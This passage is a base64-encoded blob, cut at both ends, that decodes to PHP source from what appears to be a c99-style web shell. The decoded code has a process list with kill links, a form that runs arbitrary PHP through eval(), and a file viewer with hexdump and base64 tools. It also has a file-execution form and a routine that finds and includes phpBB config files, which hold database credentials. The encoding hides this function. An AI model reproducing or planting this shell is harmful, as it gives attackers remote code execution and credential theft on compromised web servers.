291bnQoJGhlYWQpOyRpKyspIHsNCiAgICAgICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30NCiAgICAgIH0NCiAgICAgICRwcmNzID0gYXJyYXkoKTsNCiAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgew0KICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkgew0KICAgICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAgICAgICRsaW5lWzEwXSA9IGpvaW4oIiAiLGFycmF5X3NsaWNlKCRsaW5lLDEwKSk7DQogICAgICAgICAgJGxpbmUgPSBhcnJheV9zbGljZSgkbGluZSwwLDExKTsNCiAgICAgICAgICBpZiAoJGxpbmVbMF0gPT0gZ2V0X2N1cnJlbnRfdXNlcigpKSB7JGxpbmVbMF0gPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGluZVswXS4iPC9mb250PiI7fQ0KICAgICAgICAgICRsaW5lW10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgICAgd2hpbGUgKGVyZWcoIj0iLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCI9IiwiIiwkcmV0KTt9DQogICAgICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgICB1bnNldCgkc3RhY2tbMF0sJHN0YWNrWzJdKTsNCiAgICAgICRzdGFjayA9IGFycmF5X3ZhbHVlcygkc3RhY2spOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJJbWFnZSBOYW1lIiwiSW1hZ2VOYW1lIiwkc3RhY2tbMF0pOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJTZXNzaW9uIE5hbWUiLCJTZXNzaW9uTmFtZSIsJHN0YWNrWzBdKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiTWVtIFVzYWdlIiwiTWVtb3J5VXNhZ2UiLCRzdGFja1swXSk7DQogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICAgICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7DQogICAgICAkaGVhZCA9IGFycmF5X3ZhbHVlcygkaGVhZCk7DQogICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOyB9DQogICAgICBlbHNlIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9hc2NcIiBib3JkZXI9XCIwXCI+PC9hPiI7IH0NCiAgICAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQ0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspIHsNCiAgICAgICAgaWYgKCRpICE9ICRrKSB7ICRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+IjsgfQ0KICAgICAgfQ0KICAgICAgJHByY3MgPSBhcnJheSgpOw0KICAgICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgew0KICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkgew0KICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAgICAgICRsaW5lWzRdID0gc3RyX3JlcGxhY2UoIi4iLCIiLCRsaW5lWzRdKTsNCiAgICAgICAgICAkbGluZVs0XSA9IGludHZhbCgkbGluZVs0XSkgKiAxMDI0Ow0KICAgICAgICAgIHVuc2V0KCRsaW5lWzVdKTsNCiAgICAgICAgICAkcHJjc1tdID0gJGxpbmU7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgJGhlYWRbJGtdID0gIjxiPiIuJGhlYWRbJGtdLiI8L2I+Ii4keTsNCiAgICAkdiA9ICRwcm9jZXNzZXNfc29ydFswXTsNCiAgICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICAgIGlmICgkcHJvY2Vzc2VzX3NvcnRbMV0gPT0gImQiKSB7JHByY3MgPSBhcnJheV9yZXZlcnNlKCRwcmNzKTt9DQogICAgJHRhYiA9IGFycmF5KCk7DQogICAgJHRhYltdID0gJGhlYWQ7DQogICAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsJHByY3MpOw0KICAgIGVjaG8gIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOw0KICAgIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspIHsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHsNCiAgICAgICAgaWYgKCR3aW4gYW5kICRpID4gMCBhbmQgJGogPT0gNCkgeyR2ID0gdmlld19zaXplKCR2KTt9DQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7DQogICAgICB9DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJldmFsIikgew0KICBpZiAoIWVtcHR5KCRldmFsKSkgew0KICAgIGVjaG8gIlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTo8YnI+IjsNCiAgICAkdG1wID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICBpZiAoJHRtcCkgew0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGV2YWwoJGV2YWwpOw0KICAgICAgJHJldCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGVjaG8gJHRtcDsNCiAgICAgIGlmICgkZXZhbF90eHQpIHsNCiAgICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRldmFsX3R4dCkgew0KICAgICAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25seT4iOw0KICAgICAgICBldmFsKCRldmFsKTsNCiAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0O30NCiAgICB9DQogICAgQGNoZGlyKCRvbGRkaXIpOw0KICB9DQogIGVsc2Uge2VjaG8gIjxiPlBIUC1jb2RlIEV4ZWN1dGlvbiAoVXNlIHdpdGhvdXQgUEhQIEJyYWNlcyEpPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQ0KICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOw0KfQ0KaWYgKCR4ID09ICJmIikgew0KICBlY2hvICI8ZGl2IGFsaWduPWxlZnQ+IjsNCiAgaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKSB7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogICAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5GaWxlIGRvZXMgbm90IGV4aXN0cyAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICRyZnQgPSAiIjsNCiAgICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQ0KICAgIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30NCiAgICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQ0KICAgICRhcnIgPSBhcnJheSgNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwiaW5mbyIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X2h0bWxcIiBib3JkZXI9XCIwXCI+IiwiaHRtbCIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwNCiAgICAgICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksDQogICAgICAgIGFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X2V4ZVwiIGJvcmRlcj1cIjBcIj4iLCJleGUiKSwNCiAgICAgICAgYXJyYXkoIlNEQiIsInNkYiIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X2dpZlwiIGJvcmRlcj1cIjBcIj4iLCJpbWciKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1kb3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLCJkb3dubG9hZCIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X3J0ZlwiIGJvcmRlcj1cIjBcIj4iLCJub3RlcGFkIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpDQogICAgKTsNCiAgICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2I+PGJyPlNlbGVjdCBhY3Rpb24vZmlsZS10eXBlOjxicj4iOw0KICAgIGZvcmVhY2goJGFyciBhcyAkdCkgew0KICAgICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30NCiAgICAgIGVsc2VpZiAoJHRbMV0gPT0gJGZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPjx1PiIuJHRbMF0uIjwvdT48L2I+PC9hPiI7fQ0KICAgICAgZWxzZSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIuJHRbMF0uIjwvYj48L2E+Ijt9DQogICAgICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4pIHwiOw0KICAgIH0NCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCRmdCA9PSAiaW5mbyIpIHsNCiAgICAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7DQogICAgICBpZiAoISR3aW4pIHsNCiAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7DQogICAgICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZC4kZikpOw0KICAgICAgICBlY2hvICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQuJGYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZC4kZikpOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4ieD1jaG1vZCZmPSIudXJsZW5jb2RlKCRmKS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4iLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOw0KICAgICAgaWYgKCRmaSkgew0KICAgICAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9DQogICAgICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30NCiAgICAgICAgJG4gPSAwOw0KICAgICAgICAkYTAgPSAiMDAwMDAwMDA8YnI+IjsNCiAgICAgICAgJGExID0gIiI7DQogICAgICAgICRhMiA9ICIiOw0KICAgICAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykgew0KICAgICAgICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgICAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKSB7DQogICAgICAgICAgICBjYXNlIDA6ICAkYTIgLj0gIjxmb250PjA8L2ZvbnQ+IjsgYnJlYWs7DQogICAgICAgICAgICBjYXNlIDMyOg0KICAgICAgICAgICAgY2FzZSAxMDoNCiAgICAgICAgICAgIGNhc2UgMTM6ICRhMiAuPSAiJm5ic3A7IjsgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7DQogICAgICAgICAgfQ0KICAgICAgICAgICRuKys7DQogICAgICAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpIHsNCiAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9DQogICAgICAgICAgICAkYTEgLj0gIjxicj4iOw0KICAgICAgICAgICAgJGEyIC49ICI8YnI+IjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPHRhYmxlIGJvcmRlcj0xIGJnY29sb3I9IzY2NjY2Nj4iLg0KICAgICAgICAgICAgICI8dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD4iLg0KICAgICAgICAgICAgICI8dGQgYmdjb2xvcj0jMDAwMDAwPiIuJGExLiI8L3RkPiIuDQogICAgICAgICAgICAgIjx0ZCBiZ2NvbG9yPSMwMDAwMDA+Ii4kYTIuIjwvdGQ+Ii4NCiAgICAgICAgICAgICAiPC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgfQ0KICAgICAgJGVuY29kZWQgPSAiIjsNCiAgICAgIGlmICgkYmFzZTY0ID09IDEpIHsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsNCiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICAgICB9DQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSAyKSB7DQogICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsNCiAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSkpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRiYXNlNjQgPT0gMykgew0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7DQogICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgICAgICAkZW5jb2RlZCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoIiEuezEsNzZ9ISIsIidcXDAnLlxuIiwkZW5jb2RlZCksMCwtMik7DQogICAgICB9DQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSA0KSB7DQogICAgICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9kZWNvZGUoJHRleHQpOw0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsNCiAgICBpZiAoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkgIT0gJHRleHQpIHtlY2hvICIgKGZhaWxlZCkiO30NCiAgICBlY2hvICI8L2I+PGJyPiI7DQogICB9DQogICBpZiAoIWVtcHR5KCRlbmNvZGVkKSkNCiAgIHsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOw0KICAgfQ0KICAgZWNobyAiPGI+SEVYRFVNUDo8L2I+PG5vYnI+IFs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5QcmV2aWV3PC9hPl08YnI+PGI+QmFzZTY0OiA8L2I+DQoNCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5FbmNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQogICAgICAgIDxub2JyPls8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9NCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RGVjb2RlPC9hPl0mbmJzcDs8L25vYnI+DQoNCiAgICAgICAgPFA+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaHRtbCIpIHsNCiAgIGlmICgkd2hpdGUpIHtAb2JfY2xlYW4oKTt9DQogICBlY2hvICRyOw0KICAgaWYgKCR3aGl0ZSkge2NhcHJpdjhleGl0KCk7fQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikgew0KICAgZWNobyAiPHByZT4iOw0KICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7DQogICBlY2hvICR2WzBdLiI8YnI+IjsNCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICBlY2hvICI8L3ByZT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKSB7DQogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgJGV4dCA9ICRleHRbJGNdOw0KICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAkcmZ0ID0gIiI7DQogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQ0KICAgfQ0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOw0KICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIlwiIHNpemU9XCIiLihzdHJsZW4oJGNtZCkrMikuIlwiPjxicj5EaXNwbGF5IGluIHRleHQtYXJlYTxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJzZGIiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcCh1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKSB7DQogICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKSB7DQogICAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsNCiAgICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkgew0KICAgICAgICBpbmNsdWRlKCRkLiRmKTsNCiAgICAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndX